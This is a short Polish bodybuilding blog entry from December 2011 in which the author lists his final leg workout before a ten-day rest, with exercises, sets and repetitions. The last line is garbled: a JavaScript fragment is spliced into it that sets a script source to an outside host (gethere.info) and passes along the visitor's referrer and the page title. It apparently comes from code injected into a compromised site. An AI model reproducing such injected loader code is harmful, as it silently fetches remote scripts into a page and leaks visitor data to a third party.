21.11.2011

21.12.2011 / Tomasz Lech / Kulturystyka

Dzisiaj wykonałem ostatni trening nóg przed zaplanowanym 10-cio dniowym całkowitym odpoczynkiem.Jutro tylko trening mięśni pleców i wolne,odpoczywam do końca roku.Czas dać mięśniom całkowicie odpocząć przed ciężkim sezonem bo taki właśnie będzie.

dzisiejszy trening wyglądał następująco:

-wypychanie na suwnicy 5×12

-przysiady ze sztangą na klatce 4×10

-wyprosty ud na maszynie 4×12

-zginanie podudzi leżąc na maszynie 4×12

-martwy ciąg na prostych nogach 3x10s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”;